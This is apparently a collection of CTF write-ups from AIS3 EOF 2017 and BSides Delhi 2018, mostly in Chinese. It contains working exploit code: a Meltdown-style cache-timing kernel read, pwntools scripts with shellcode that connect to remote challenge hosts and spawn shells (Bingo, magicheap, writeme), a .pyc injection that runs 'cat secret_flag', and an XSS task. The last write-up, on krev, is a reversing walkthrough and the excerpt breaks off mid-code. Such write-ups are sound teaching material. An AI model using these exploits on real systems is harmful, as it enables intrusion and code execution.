"r" (target_array), 98 | [addr] "r" (addr) 99 | : "rax", "rbx" 100 | ); 101 | #endif 102 | } 103 | 104 | 105 | static int cache_hit_threshold; 106 | static int hist[VARIANTS_READ]; 107 | void check(void) 108 | { 109 | int i, time, mix_i; 110 | volatile char *addr; 111 | 112 | for (i = 0; i < VARIANTS_READ; i++) { 113 | mix_i = ((i * 167) + 13) & 255; 114 | 115 | addr = &target_array[mix_i * TARGET_SIZE]; 116 | time = get_access_time(addr); 117 | 118 | if (time <= cache_hit_threshold) 119 | hist[mix_i]++; 120 | } 121 | } 122 | 123 | void sigsegv(int sig, siginfo_t *siginfo, void *context) 124 | { 125 | ucontext_t *ucontext = context; 126 | 127 | #ifdef __x86_64__ 128 | ucontext->uc_mcontext.gregs[REG_RIP] = (unsigned long)stopspeculate; 129 | #else 130 | ucontext->uc_mcontext.gregs[REG_EIP] = (unsigned long)stopspeculate; 131 | #endif 132 | return; 133 | } 134 | 135 | int set_signal(void) 136 | { 137 | struct sigaction act = { 138 | .sa_sigaction = sigsegv, 139 | .sa_flags = SA_SIGINFO, 140 | }; 141 | 142 | return sigaction(SIGSEGV, &act, NULL); 143 | } 144 | 145 | #define CYCLES 1000 146 | int readbyte(int fd, unsigned long addr) 147 | { 148 | int i, ret = 0, max = -1, maxi = -1; 149 | static char buf[256]; 150 | 151 | memset(hist, 0, sizeof(hist)); 152 | 153 | for (i = 0; i < CYCLES; i++) { 154 | ret = pread(fd, buf, sizeof(buf), 0); 155 | if (ret < 0) { 156 | perror("pread"); 157 | break; 158 | } 159 | 160 | clflush_target(); 161 | 162 | _mm_mfence(); 163 | 164 | speculate(addr); 165 | check(); 166 | } 167 | 168 | #ifdef DEBUG 169 | for (i = 0; i < VARIANTS_READ; i++) 170 | if (hist[i] > 0) 171 | printf("addr %lx hist[%x] = %d\n", addr, i, hist[i]); 172 | #endif 173 | 174 | for (i = 1; i < VARIANTS_READ; i++) { 175 | if (!isprint(i)) 176 | continue; 177 | if (hist[i] && hist[i] > max) { 178 | max = hist[i]; 179 | maxi = i; 180 | } 181 | } 182 | 183 | return maxi; 184 | } 185 | 186 | static char *progname; 187 | int usage(void) 188 | { 189 | printf("%s: [hexaddr] [size]\n", progname); 190 | return 2; 191 | } 192 | 193 | static int mysqrt(long val) 194 | { 195 | int root = val / 2, prevroot = 0, i = 0; 196 | 197 | while (prevroot != root && i++ < 100) { 198 | prevroot = root; 199 | root = (val / root + root) / 2; 200 | } 201 | 202 | return root; 203 | } 204 | 205 | #define ESTIMATE_CYCLES 1000000 206 | static void 207 | set_cache_hit_threshold(void) 208 | { 209 | long cached, uncached, i; 210 | 211 | if (0) { 212 | cache_hit_threshold = 80; 213 | return; 214 | } 215 | 216 | for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++) 217 | cached += get_access_time(target_array); 218 | 219 | for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++) 220 | cached += get_access_time(target_array); 221 | 222 | for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) { 223 | _mm_clflush(target_array); 224 | uncached += get_access_time(target_array); 225 | } 226 | 227 | cached /= ESTIMATE_CYCLES; 228 | uncached /= ESTIMATE_CYCLES; 229 | 230 | cache_hit_threshold = mysqrt(cached * uncached); 231 | 232 | printf("cached = %ld, uncached = %ld, threshold %d\n", 233 | cached, uncached, cache_hit_threshold); 234 | } 235 | 236 | static int min(int a, int b) 237 | { 238 | return a < b ? a : b; 239 | } 240 | 241 | static void pin_cpu0() 242 | { 243 | cpu_set_t mask; 244 | 245 | /* PIN to CPU0 */ 246 | CPU_ZERO(&mask); 247 | CPU_SET(0, &mask); 248 | sched_setaffinity(0, sizeof(cpu_set_t), &mask); 249 | } 250 | 251 | int main(int argc, char *argv[]) 252 | { 253 | int ret, fd, i, score, is_vulnerable; 254 | unsigned long addr, size; 255 | static char expected[] = "%s version %s"; 256 | 257 | progname = argv[0]; 258 | if (argc < 3) 259 | return usage(); 260 | 261 | if (sscanf(argv[1], "%lx", &addr) != 1) 262 | return usage(); 263 | 264 | if (sscanf(argv[2], "%lx", &size) != 1) 265 | return usage(); 266 | 267 | memset(target_array, 1, sizeof(target_array)); 268 | 269 | ret = set_signal(); 270 | pin_cpu0(); 271 | 272 | set_cache_hit_threshold(); 273 | 274 | fd = open("/proc/getflag", O_RDONLY); 275 | if (fd < 0) { 276 | perror("open"); 277 | return -1; 278 | } 279 | 280 | for (score = 0, i = 0; i < size; i++) { 281 | ret = readbyte(fd, addr); 282 | if (ret == -1) 283 | ret = 0xff; 284 | printf("read %lx = %x %c (score=%d/%d)\n", 285 | addr, ret, isprint(ret) ? ret : ' ', 286 | ret != 0xff ? hist[ret] : 0, 287 | CYCLES); 288 | 289 | if (i < sizeof(expected) && 290 | ret == expected[i]) 291 | score++; 292 | 293 | addr++; 294 | } 295 | 296 | close(fd); 297 | 298 | is_vulnerable = score > min(size, sizeof(expected)) / 2; 299 | 300 | if (is_vulnerable) 301 | fprintf(stderr, "VULNERABLE\n"); 302 | else 303 | fprintf(stderr, "NOT VULNERABLE\n"); 304 | 305 | exit(is_vulnerable); 306 | } 307 | ``` 308 | 309 | 310 | -------------------------------------------------------------------------------- /ais3-eof-2017/qualification/Bingo.md: -------------------------------------------------------------------------------- 1 | ## Bingo (200) 2 | Credits to my teammates. 3 | 4 | ### solution 5 | ##### simulation 6 | 由於srand(0),rand()是predictable的,所以用script模擬可以知道正確號碼。 7 | 8 | ##### information leak 9 | 因為輸入存在STACK上,而printf是用%s,所以最後一個數字輸入AAAA會leak出rbp,得到STACK ADDRESS 10 | 11 | ##### buffer overflow 12 | 贏BINGO後,可以輸入訊息,會buffer overflow,但只能蓋到ret address,但是由於這題沒有NX,可以輸入SHELLCODE,但是SHELLCODE也只有12個BYTE的位置。經果觀察,發現執行到RET時的REGISTER,剛好適合呼叫SYSCALL READ。所以只要RET回STACK上,執行SHELL CODE,更改RDX,就可以執行第二次輸入,把整個SHELLCODE送進程式。 13 | 14 | ### script 15 | ```python 16 | from pwn import * 17 | 18 | import ctypes 19 | 20 | #r = process("./Bingo") 21 | r = remote('35.201.132.60' ,12001) 22 | 23 | r.recvuntil('numbers:') 24 | LIBC = ctypes.cdll.LoadLibrary('./libc_64.so.6') 25 | LIBC.srand(0) 26 | for i in range(15): 27 | r.sendline(str(LIBC.rand()%200)) 28 | r.send('bbbb') 29 | r.recvuntil('b'*4) 30 | st = u64(r.recvuntil(' ')[:-1].ljust(8,'\x00')) 31 | print hex(st) 32 | r.recvuntil('others:') 33 | tar = st - 0x14 34 | ass = asm("mov rdx,0xfffffff;syscall;ret;",arch="amd64") 35 | print ass 36 | #r.interactive() 37 | r.send(ass+'aa'+p64(tar)[0:7]) 38 | #r.sendline('a'*40) 39 | shell = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' 40 | r.sendline('aa'+p64(st+8)+shell) 41 | r.interactive() 42 | ``` 43 | -------------------------------------------------------------------------------- /ais3-eof-2017/qualification/MOSburger.md: -------------------------------------------------------------------------------- 1 | ## MOSburger (200) 2 | Credits to my teammates. 3 | 4 | ### solution 5 | 題目是VB6的bianry,直接反編譯無法獲得有用資訊。 6 | 試著用x64dbg調查,從字串著手發現有`"WRONG"`訊息,在該處下斷點,發現stack上有`"money$"`字串,試著輸入該字串,說給我些有用訊息就沒了,再調查string,發現有個字串`"mosburger.txt"`,但不知道在哪,再次下斷點,發現在appdata的資料夾中,裡面有mos code,上網decode變成binary code,再解碼get flag 7 | -------------------------------------------------------------------------------- /ais3-eof-2017/qualification/MindSweeper.md: -------------------------------------------------------------------------------- 1 | ## MindSweeper (400) 2 | ### solution 3 | 透過OllyDbg追蹤,試著去踩地雷,從`WinMain`開始一路step in會發現在`call 0x402660`前後畫面發生變化,在`0x402678`處原本為`je short 00402698`,將其試著patch為`jmp`後就不會踩到地雷,接著觀察地雷的pattern測試幾次之後發現是一個hexstring,一旦輸了就會重新開始,擷取前幾個 4 | ``` 5 | 504B0304 14000000 08009188 224CE9D4 2022D6D5 6 | 0000007E 01000800 0000666C 61672E65 7865ECFD 7 | 0D5C9455 DA388EDF F3020C30 38A382A2 52626252 8 | 688B8E96 345A8C3A 88253648 DE92015A 423... 9 | ``` 10 | 試著轉成text 11 | ``` 12 | PK����‘ˆ"LéÔ "ÖÕ���~����flag.exeìý 13 | \”UÚ8Žßó 08£‚¢RbbRh‹Ž–4ZŒ:ˆ%6HޒZB4 14 | ``` 15 | 會發現PK和`flag.exe`的字眼,而`504b0304`是PK zip的header,因此推測要把這段binary存出來再解壓縮 16 | 17 | 接著繼續IDA逆向,這部分花了很多時間,這邊只寫重點: 18 | 在string裡面會找到 19 | ``` 20 | HackerText db 'Are u a hacker O_o?',0 21 | ``` 22 | 這樣的字串,利用cross reference定位到`0x402860`的block反編譯,大概可以得到這樣的結果 23 | ```c 24 | int __cdecl set_pattern() 25 | { 26 | ... 27 | if ( win_count == 109784 ) 28 | { 29 | MessageBoxA(0, HackerText, O_o, 0x20u); 30 | result = gen_sth(1); 31 | win_count = 0; 32 | } 33 | else 34 | { 35 | ... 36 | rand_x = get_rand(width - 4) + 1; 37 | rand_y = get_rand(length - 5) + 1; 38 | for ( k = 0; k < 16; ++k ) 39 | { 40 | val = data1[32 * win_count + k] ^ data2[32 * win_count + k]; 41 | if ( val == 255 ) 42 | break; 43 | minearray[100 * ((val & 0xF) + rand_y) + (val >> 4) + rand_x] &= 0x7Fu; 44 | } 45 | ... 46 | } 47 | return result; 48 | } 49 | ``` 50 | 其中`win_count`是從其他routine中分析得知,只要每贏一次就會遞增1,因此推測hexstring的總長度為109784,接著可以看到下面的`data1`和`data2`運算後得到`val`,接著切割成x、y offset疑似用來設定地雷的位置,跳到資料的部分發現`data1`和`data2`是overlap的,而`data1 = data2 + 16bytes`。 51 | 52 | 試著用python script從binary的該位置(`0x146c8`)讀raw出來,然後一樣的方式進行xor運算,切割x、y,在8x8的list中把pattern印出來,發現和遊戲所得到的一致: 53 | ```python 54 | #!/usr/bin/python 55 | data = [] 56 | 57 | with open('winmine.exe', 'rb') as f: 58 | print(f) 59 | f.seek(0x146c8) # start offset of data 60 | data = f.read(0x76f3c7 - 0x4158c8) # range of data 61 | 62 | for w in range(5): # test 5 words 63 | graph = [[0 for _ in range(8)] for _ in range(8)] 64 | for k in range(16): 65 | val = data[32 * w + k] ^ data[32 * w + k + 16] 66 | if val == 255: 67 | break 68 | graph[val & 0xf][val >> 4] = 1 69 | 70 | for i in range(8): # plot the pattern 71 | for j in range(8): 72 | if graph[i][j] == 1: 73 | print("X", end="") 74 | else: 75 | print(" ", end="") 76 | print() 77 | ``` 78 | 79 | 因此,我們利用這些binary data就可以轉換回原本的zip,這裡作法是每個iteration(每個hex char)所得到的所有val相乘作為hash value,先跑一些資料把對應的hash table建出來,接著再利用這個table將結果轉為hex string的檔案,最後再將該檔案轉換成binary 80 | ```python 81 | #!/usr/bin/python 82 | import sys 83 | 84 | hash_to_hex = { 85 | 18012773987208000 : b'0', 86 | 4948564282200 : b'1', 87 | 115177833668205000 : b'2', 88 | 499103945895555000 : b'3', 89 | 22195177804800 : b'4', 90 | 59892473507466600 : b'5', 91 | 239569894029866400 : b'6', 92 | 193187194200 : b'7', 93 | 11978494701493320000 : b'8', 94 | 2994623675373330000 : b'9', 95 | 15416338097160000 : b'A', 96 | 4793315206680000 : b'B', 97 | 135842941080 : b'C', 98 | 367607632392000 : b'D', 99 | 90335555818200 : b'E', 100 | 111874732200 : b'F', 101 | } 102 | 103 | data = [] 104 | with open('winmine.exe', 'rb') as f: 105 | f.seek(0x146c8) 106 | data = f.read(0x76f3c7 - 0x4158c8) 107 | 108 | buf = b"" 109 | try : 110 | with open('hexstr', 'wb') as f: # write result to hexstr 111 | print(len(data)) 112 | for w in range(109784): 113 | h = 1 114 | for k in range(16): 115 | val = data[32 * w + k] ^ data[32 * w + k + 16] 116 | if val == 255: 117 | break 118 | h *= (val + 1) 119 | buf += hash_to_hex[h] 120 | if len(buf) == 0x20: 121 | f.write(buf) 122 | f.write(b'\n') 123 | buf = b"" 124 | except IndexError: 125 | sys.stderr.buffer.write(b"index error") 126 | pass 127 | 128 | with open('hexstr', 'r') as f: # output bytes result to stdout 129 | data = f.readlines() 130 | for line in data: 131 | sys.stdout.buffer.write(bytes.fromhex(line.strip())) 132 | ``` 133 | 134 | 之後就可以得到檔案,而試著解壓卻發現檔案不完整,但若是使用7zip則仍能將`flag.exe`解壓出來,接著執行`flag.exe`就可以取得flag了 135 | -------------------------------------------------------------------------------- /ais3-eof-2017/qualification/Python2Easy.md: -------------------------------------------------------------------------------- 1 | ## Python2Easy (150) 2 | Credits to my teammates. 3 | 4 | ### solution 5 | server在檢查讀寫檔案是只會禁止對`secret.py`讀寫,所以可以對`secret.pyc`讀寫達成目的 6 | `.pyc`檔案中第5~8個byte為timestamp,若與`.py`的timestamp不同則會在reload時重新生成`.pyc` 7 | 所以可以先讀取`secret.pyc`的前10個byte得到timestamp,再執行以下`.py`檔 8 | 並將得到的`.pyc` timestamp改為與server上的`secret.pyc`相同,並重新寫到`secret.pyc` 9 | 此時因為`secret.pyc`與`server.py`的timestamp相同,reload時會直接load我們寫好的`.pyc` 10 | key即變為`'123'`,可以通過`check`獲得flag 11 | ```python 12 | key = '123' 13 | ``` 14 | -------------------------------------------------------------------------------- /ais3-eof-2017/qualification/Python2Easy2.md: -------------------------------------------------------------------------------- 1 | ## Python2Easy? (250) 2 | Credits to my teammates 3 | ### solution 4 | 與上題相同,改為生成以下檔案的`.pyc`,server會在reload時執行system command 5 | 發現server上的`secret_flag`並取得 6 | 7 | ```python 8 | import os 9 | key = os.system('cat secret_flag') 10 | ``` 11 | -------------------------------------------------------------------------------- /ais3-eof-2017/qualification/magicheap.md: -------------------------------------------------------------------------------- 1 | ## magicheap(250) 2 | Credits to my teammates. 3 | 4 | ### solution 5 | #### heap overflow 6 | 跟作業一樣,`edit()`會有任意大小overflow 7 | 8 | #### fastbin corruption 9 | 把fastbin的下一個改成`.got.plt`的一個適合的位置,下次`malloc`時,會得到此位置,修改`free.got` 10 | 11 | #### information leak 12 | 由於此題沒show,先將一個large chunk free掉,再`malloc()`它將其填入`8*'A'`,再將`free.got`改成`puts@plt`,就可以`puts`出main arena位置,進而算出libc 13 | 14 | #### get shell 15 | 將`free.got`改成`system`即可get shell 16 | 17 | ### script 18 | ```pyhton 19 | from pwn import * 20 | 21 | #r = process("./magicheap",env={"LD_PRELOAD":"./ais3.so.6"}) 22 | r = remote('35.201.132.60',50216) 23 | 24 | def cre(size,cont): 25 | r.sendlineafter('ice :','1') 26 | r.sendlineafter(': ',str(size)) 27 | r.sendafter(':',cont) 28 | 29 | def edit(idx,size,cont): 30 | r.sendlineafter('ice :','2') 31 | r.sendlineafter(':',str(idx)) 32 | r.sendlineafter(': ',str(size)) 33 | r.sendafter(': ',cont) 34 | 35 | def free(idx): 36 | r.sendlineafter('ice :','3') 37 | r.sendlineafter(':',str(idx)) 38 | 39 | r.recvuntil(":") 40 | r.send('a') 41 | 42 | cre(0x1000,'a') #0 43 | cre(0x100,'a')#1 44 | free(0) 45 | cre(0x1000,'a'*8)#0 46 | tar = 0x601ffa 47 | cre(0x50,'a')#2 48 | puts_plt = 0x4006b0 49 | free(2) 50 | edit(1,0x200,'a'*0x100+p64(0)+p64(0x61)+p64(tar)) 51 | cre(0x50,'sh\x00')#2 52 | cre(0x50,'aaaaaa'+'a'*8+p64(puts_plt))#3 53 | free(0) 54 | r.recvuntil('a'*8) 55 | l = u64(r.recvuntil('\n')[:-1].ljust(8,'\x00')) 56 | libc = l - 0x3c4b78 57 | print hex(libc) 58 | system = libc + 0x45390 59 | edit(3,0x100,'a'*14+p64(system)) 60 | free(2) 61 | r.interactive() 62 | ``` 63 | -------------------------------------------------------------------------------- /ais3-eof-2017/qualification/simple.md: -------------------------------------------------------------------------------- 1 | ## simple (100) 2 | ### solution 3 | 首先用IDA對main進行反編譯會看到 4 | ```c 5 | int main(int argc, const char **argv, const char **envp) 6 | { 7 | v7 = 'orez'; 8 | v8 = '\0'; 9 | v5 = 'kcor'; 10 | v6 = 'nam'; 11 | f = XD; 12 | scanf("%s", &v4); 13 | if ( !strcmp(&v4, (const char *)&v7) ) 14 | { 15 | f(); 16 | atexit(XDDDD); 17 | } 18 | else 19 | { 20 | puts("Wrong password!"); 21 | } 22 | return 0; 23 | } 24 | ``` 25 | 輸入字串會和`v7`比較,因此若是輸入`"zero"`則會呼叫`f()`(`XD()`),並執行`atexit(XDDDD)`。 26 | 繼續反組譯`XD()`會發現給了一個錯誤的flag。 27 | ```c 28 | int XD(void) 29 | { 30 | return puts("flag{Submit_this_flag_and_fail_XD}"); 31 | } 32 | ``` 33 | 接著反組譯`XDDDD()` 34 | ```c 35 | void XDDDD(void) 36 | { 37 | f = (int (*)(void))((char *)f + (char *)XDDD - (char *)XD); 38 | f(); 39 | } 40 | ``` 41 | 由於`f`已經被設為`XD`,因此最後實際上是呼叫`XDDD()` 42 | 最後反組譯`XDDD()` 43 | ```c 44 | int XDDD(void) 45 | { 46 | 47 | ... 48 | GetEnvironmentVariableA("name", Buffer, 0x100u); 49 | result = strcmp(Buffer, rockman); 50 | if ( !result ) 51 | { 52 | if ( IsDebuggerPresent() != 0 ) 53 | { 54 | result = MessageBoxA( 55 | 0, 56 | "Congratulations! Now you can have your flag: flag{Did you see the caption?}", 57 | "Kidding", 58 | 0); 59 | } 60 | else 61 | { 62 | hModule = LoadLibraryA("kernel32.dll"); 63 | GetProcAddress = (int (__stdcall *)(HMODULE, char *))::GetProcAddress(hModule, ProcName); 64 | hModule = LoadLibraryA("user32.dll"); 65 | ... 66 | result = v33("notepad", 0); 67 | ... 68 | } 69 | } 70 | return result; 71 | } 72 | ``` 73 | 可以看到試圖從environment variable讀取`name`的值,並和`"rockman"`進行比較,成功後若是偵測到在使用debugger,則會再給出一個假的flag,若非則會執行else的內容,裡面比較值得注意的是有`"notepad"`,最後發現只要將notepad開啟,接著再新增一個環境變數`name`值為`"rockman"`,再執行程式輸入`"zero"`則會將flag寫到notepad中。 74 | -------------------------------------------------------------------------------- /ais3-eof-2017/qualification/singlehell.md: -------------------------------------------------------------------------------- 1 | ## singlehell (250) 2 | ### solution 3 | 先用strings看程式,發現經過upx加殼,因此先以`upx -d`脫殼,接著以IDA進行反編譯,稍微trace一下可以看到接收回應的部分 4 | ```c 5 | __int64 __fastcall get_response(__int64 response) 6 | { 7 | __int64 result; // rax 8 | void *reward; // rax 9 | unsigned int player_damage; // ebp 10 | __int64 monster_hp; // rbx 11 | 12 | result = decode4(response); 13 | if ( (_DWORD)result == 2 ) 14 | { 15 | player_damage = decode4(response); 16 | monster_hp = decode8(response); 17 | PlayerHP -= player_damage; 18 | result = __printf_chk(1LL, "[Info] Player is Damaged: %d\n", player_damage); 19 | MonsterHP = monster_hp; 20 | } 21 | else if ( (_DWORD)result == 7 ) 22 | { 23 | puts("[Info] Congratulation !"); 24 | reward = decode_str(response); 25 | result = __printf_chk(1LL, "[Info] Here is your reward : %s\n", reward); 26 | } 27 | return result; 28 | } 29 | ``` 30 | 這邊會接收server的回應,若是2則減少player的血量,並設定monster的血量,若是7則顯示reward。 31 | 由於monster的血量是根據server送來的回應設定的,因此應該無法修改,但是player是用扣的,因此試著將player扣血的部分 32 | ``` 33 | 400ecb: 29 2d ef 11 20 00 sub DWORD PTR [rip+0x2011ef],ebp 34 | ``` 35 | 全部patch成nop,測試後成功,player無論如何都不會受傷,server也沒有進行檢查。 36 | 37 | 但是由於怪物血量太高,傷害還是太小,因此接著試著看看攻擊的部分: 38 | ```c 39 | bool Attack() 40 | { 41 | ... 42 | srand(time(0LL)); 43 | rand_num = random(); 44 | v7 = 8; 45 | v8 = 1; 46 | i = 0LL; 47 | v3 = rand_num 48 | - 10 49 | * (((signed __int64)((unsigned __int128)(0x6666666666666667LL * (signed __int128)rand_num) >> 64) >> 2) 50 | - (rand_num >> 63)); 51 | v9 = rand_num 52 | - 10 53 | * (((signed __int64)((unsigned __int128)(0x6666666666666667LL * (signed __int128)rand_num) >> 64) >> 2) 54 | - (rand_num >> 63)); 55 | do 56 | { 57 | v4 = (char *)&v8 + i++; 58 | *v4 ^= xor_code2[i]; 59 | } 60 | while ( i != 8 ); 61 | bytes_sent = send(fd, &v7, 0xCuLL, 0); 62 | if ( bytes_sent > 0 ) 63 | __printf_chk(1LL, "[Info] Attack Monster with Damage: %d\n", v3); 64 | return bytes_sent > 0; 65 | } 66 | ``` 67 | 攻擊的傷害是隨機的,因此應該和`rand_num`有關,在設定`rand_num`的部分 68 | ``` 69 | 400c94: e8 d7 fb ff ff call 400870 70 | 400c99: 48 ba 67 66 66 66 66 movabs rdx,0x6666666666666667 71 | 400ca0: 66 66 66 72 | 400ca3: 48 89 c1 mov rcx,rax 73 | 400ca6: 48 8d 7c 24 04 lea rdi,[rsp+0x4] 74 | 400cab: 48 f7 ea imul rdx 75 | 400cae: 48 89 c8 mov rax,rcx 76 | ``` 77 | 可以觀察到rax會複製給rcx再複製回rax,利用這點,試著將`mov rcx,rax`patch為`mov rcx,rdx`,這樣`rand_num`就會變為`0x6666666666666667`,實際測試後發現傷害增加非常多,因此以簡單的script不斷送攻擊請求等數十秒即可拿到flag了。 78 | 79 | 因為monster死後server似乎不會結束,所以最後會額外多幾個loop,導致要往回找一些才能看到flag。 80 | -------------------------------------------------------------------------------- /ais3-eof-2017/qualification/webshell.md: -------------------------------------------------------------------------------- 1 | ## webshell (100) 2 | Credits to my teammates. 3 | ### solution 4 | 先檢查原始碼,可以發現原始碼最底部藏了obfuscate過的PHP source code 5 | ```php 6 | 45 | ``` 46 | 而source code為 47 | ```php 48 | 69 | ``` 70 | 若是`run()` return false則會輸出一堆換行然後輸出script本身的內容。 71 | 72 | 整理上方的限制後我們可以寫出以下script來產生webshell query用的url 73 | ```php 74 | here" 83 | ?> 84 | ``` 85 | 試著`ls -a`會看到`flag`和`.htflag`,`flag`裡面什麼都沒有,而`.htflag`就是真正的flag了 86 | -------------------------------------------------------------------------------- /ais3-eof-2017/qualification/writeme.md: -------------------------------------------------------------------------------- 1 | ## writeme (150) 2 | Credits to my teammates. 3 | 4 | ### solution 5 | 先將讀寫memory位置設為puts got的位置,leak出puts在lib的address,並得到system address 6 | 將puts got改為0x4006d3,使得process可以不斷重複讀寫memory的過程 7 | 發現0x4006ad是一段會將rdi寫為0x600be0並呼叫setbuf,所以只要把0x600be0寫為'/bin/sh'(改掉會使得printf發生error,需先將printf got改掉,setbuf got改為system即可get shell 8 | 以上過程皆可藉著不斷重複讀寫指定memory位置這段code完成 9 | ``` 10 | 0000000000400696
: 11 | 400696: 55 push rbp 12 | 400697: 48 89 e5 mov rbp,rsp 13 | 40069a: 48 83 ec 10 sub rsp,0x10 14 | 40069e: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 15 | 4006a5: 00 00 16 | 4006a7: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax 17 | 4006ab: 31 c0 xor eax,eax 18 | 4006ad: 48 8b 05 2c 05 20 00 mov rax,QWORD PTR [rip+0x20052c] # 600be0 <__TMC_END__> 19 | 4006b4: be 00 00 00 00 mov esi,0x0 20 | 4006b9: 48 89 c7 mov rdi,rax 21 | 4006bc: e8 8f fe ff ff call 400550 22 | 4006c1: 48 c7 45 f0 00 00 00 mov QWORD PTR [rbp-0x10],0x0 23 | 4006c8: 00 24 | 4006c9: bf 04 08 40 00 mov edi,0x400804 25 | 4006ce: e8 5d fe ff ff call 400530 26 | 4006d3: bf 0b 08 40 00 mov edi,0x40080b 27 | 4006d8: b8 00 00 00 00 mov eax,0x0 28 | 4006dd: e8 7e fe ff ff call 400560 29 | ``` 30 | 31 | ### script 32 | 33 | ```python 34 | from pwn import * 35 | r = remote('35.194.194.168',6666) 36 | #r = process('./writeme') 37 | 38 | buf = 0x600100 39 | puts_got = 0x600ba0 40 | printf_got = 0x600bb8 41 | setbuf_got = 0x600bb0 42 | start = 0x4006d3 43 | mov_rax_rdi_add = 0x600be0 44 | bin_sh = '29400045130965551' 45 | 46 | r.recvuntil(':') 47 | 48 | r.sendline(str(puts_got)) 49 | r.recvuntil('=') 50 | puts_lib = int(r.recvuntil('\n').strip(),16) 51 | r.sendline(str(start)) 52 | 53 | r.sendline(str(printf_got)) 54 | r.recv() 55 | r.sendline(str(puts_lib)) 56 | 57 | r.sendline(str(buf)) 58 | r.recv() 59 | r.sendline(bin_sh) 60 | 61 | r.sendline(str(mov_rax_rdi_add)) 62 | r.recv() 63 | r.sendline(str(buf)) 64 | r.recv() 65 | 66 | r.sendline(str(setbuf_got)) 67 | r.recv() 68 | r.sendline(str(puts_lib - 0x6f690 + 0x45390)) 69 | r.recv() 70 | 71 | r.sendline(str(puts_got)) 72 | r.recv() 73 | r.sendline(str(0x4006ad)) 74 | 75 | r.interactive() 76 | ``` 77 | -------------------------------------------------------------------------------- /ais3-eof-2017/qualification/xssme.md: -------------------------------------------------------------------------------- 1 | ## xssme (100) 2 | ### solution 3 | 稍微試了一下可以發現是一個簡單的郵件系統,admin會閱讀所有郵件,因此試著在郵件中進行XSS。 4 | 而標題欄位會進行escape,無法有效攻擊,但內文是使用過濾方式,無法使用`}; FLAG_2=IN_THE_REDIS 14 | ) 15 | ``` 16 | -------------------------------------------------------------------------------- /bsides-2018/README.md: -------------------------------------------------------------------------------- 1 | # BSides Delhi CTF 2018 2 | 3 | Team : 10sec 4 | 5 | * [..](./../) 6 | * Reversing 7 | * [krev (200)](./krev.md) 8 | * [st4t1c (200)](./st4t1c.md) 9 | * [thr3ads (400)](./thr3ads.md) 10 | -------------------------------------------------------------------------------- /bsides-2018/krev.md: -------------------------------------------------------------------------------- 1 | ## krev (reverse, 200) 2 | 3 | ### Solution 4 | 5 | What making this challenge complex is that it's wrapped in a NetBSD kernel module. 6 | 7 | We're given a NetBSD VM with gdb to debug, but I simply copy the `chall1.kmod` from the VM. 8 | 9 | Try to decompile the module, we'll se some functions. 10 | 11 | * `chall1_close` 12 | * `chall1_open` 13 | * `chall1_write` 14 | * `chall1_modcmd` 15 | * `md5hash` 16 | * `sha1hash` 17 | * `get_flag_ready` 18 | * `chall1_read` 19 | 20 | We're intereseted in `chall1_read` 21 | 22 | ```c 23 | int __cdecl chall1_read(int a1, int a2, int a3) 24 | { 25 | int result; // eax 26 | char *v4; // ebx 27 | size_t v5; // eax 28 | size_t v6; // eax 29 | char s; // [esp+10h] [ebp-58h] 30 | 31 | if ( *buf != 'g' 32 | || buf[1] != 'i' 33 | || buf[2] != 'v' 34 | || buf[3] != 'e' 35 | || buf[4] != '_' 36 | || buf[5] != 't' 37 | || buf[6] != 'h' 38 | || buf[7] != 'i' 39 | || buf[8] != 's' 40 | || buf[9] != '_' 41 | || buf[10] != 't' 42 | || buf[11] != 'o' 43 | || buf[12] != '_' 44 | || buf[13] != 'g' 45 | || buf[14] != 'e' 46 | || buf[15] != 't' 47 | || buf[16] != '_' 48 | || buf[17] != 'f' 49 | || buf[18] != 'l' 50 | || buf[19] != 'a' 51 | || buf[20] != 'g' ) 52 | { 53 | snprintf(&s, 0x19u, "%s", "Why don't you try again?"); 54 | result = uiomove(&s, 24, a3); 55 | } 56 | else 57 | { 58 | get_flag_ready(); 59 | v4 = flag; 60 | v5 = strlen(flag); 61 | snprintf(&s, v5 + 1, "%s", v4); 62 | v6 = strlen(flag); 63 | result = uiomove(&s, v6 + 1, a3); 64 | } 65 | return result; 66 | } 67 | ``` 68 | 69 | Looks like, if `buf` equals `give_this_to_get_flag`, then it will call `get_flag_ready` and return the flag to user space. 70 | 71 | Let's see what's in `get_flag_ready` next. 72 | 73 | ```c 74 | size_t get_flag_ready() 75 | { 76 | size_t i; // ebx 77 | size_t key_len; // eax 78 | char code[41]; // [esp+4h] [ebp-2Ch] 79 | 80 | code[0] = 0x56; 81 | code[1] = 0x5C; 82 | code[2] = 0x50; 83 | code[3] = 5; 84 | code[4] = 0x4D; 85 | code[5] = 0xF; 86 | code[6] = 0x53; 87 | code[7] = 0x47; 88 | code[8] = 0x76; 89 | code[9] = 0x57; 90 | code[10] = 0x21; 91 | code[11] = 0x3A; 92 | code[12] = 0x5E; 93 | code[13] = 6; 94 | code[14] = 0x3B; 95 | code[15] = 0xD; 96 | code[16] = 0x11; 97 | code[17] = 0x16; 98 | code[18] = 2; 99 | code[19] = 9; 100 | code[20] = 0xB; 101 | code[21] = 0x67; 102 | code[22] = 0x1B; 103 | code[23] = 0x52; 104 | code[24] = 0x41; 105 | code[25] = 0x6B; 106 | code[26] = 0x40; 107 | code[27] = 0x5D; 108 | code[28] = 0x56; 109 | code[29] = 0x17; 110 | code[30] = 0x5D; 111 | code[31] = 1; 112 | code[32] = 0x3A; 113 | code[33] = 4; 114 | code[34] = 0x13; 115 | code[35] = 0x1D; 116 | code[36] = 0x68; 117 | code[37] = 0x50; 118 | code[38] = 6; 119 | code[39] = 0x45; 120 | md5hash(); 121 | sha1hash(); 122 | for ( i = 0; ; ++i ) 123 | { 124 | key_len = strlen(key); 125 | if ( i >= key_len ) 126 | break; 127 | flag[i] = code[i] ^ key[i]; 128 | } 129 | return key_len; 130 | } 131 | ``` 132 | 133 | `flag` is computed by XOR `code` with `key`, but what is `key`? 134 | 135 | ```c 136 | int md5hash() 137 | { 138 | const char *data; // esi 139 | unsigned int len; // eax 140 | char *p; // esi 141 | char *output; // ebx 142 | int result; // eax 143 | char digest[16]; // [esp+10h] [ebp-70h] 144 | char ctx; // [esp+20h] [ebp-60h] 145 | 146 | MD5Init(&ctx); 147 | data 